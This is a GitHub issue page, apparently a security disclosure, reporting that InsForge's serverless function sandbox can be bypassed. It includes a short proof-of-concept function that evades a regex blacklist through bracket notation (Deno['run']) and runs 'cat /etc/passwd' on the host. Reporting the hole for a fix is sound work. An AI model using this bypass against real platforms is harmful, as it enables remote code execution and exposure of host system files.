Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings

[Bug]: Sandbox Bypass in Serverless Function Execution Environment (RCE) #1104

Copy link
Copy link
@prakharsingh-74

Description

@prakharsingh-74
Issue body actions

Description

The FunctionService currently relies on a regex-based blacklist in backend/src/services/functions/function.service.ts to prevent the use of dangerous APIs such as Deno.run, process.exit, or child_process.

However, this approach is fundamentally insecure as it only checks for literal string matches. An attacker can easily bypass these security checks using standard JavaScript techniques like bracket notation, global scope references, or obfuscation, leading to Remote Code Execution (RCE) on the host system (especially for self-hosted environments).

How to reproduce

  1. Open the InsForge Dashboard and navigate to the Functions section.
  2. Create a new function with the following "obfuscated" code that bypasses the /Deno.run/ regex check:
export default async function(req) {
  // This bypasses the regex but executes the same high-risk command
  const action = "run";
  const process = await Deno[action](<{
    cmd: ["cat", "/etc/passwd"],
    stdout: "piped"
  }>);
  
  const output = await process.output();
  return new Response(new TextDecoder().decode(output));
}

  1. Deploy and Invoke the function.
  2. Result: The function successfully accesses the host's filesystem, proving the sandbox has been bypassed.

Screenshot

Image Image
Reactions are currently unavailable

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't workingSomething isn't working

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions

      Morty Proxy This is a proxified and sanitized view of the page, visit original site.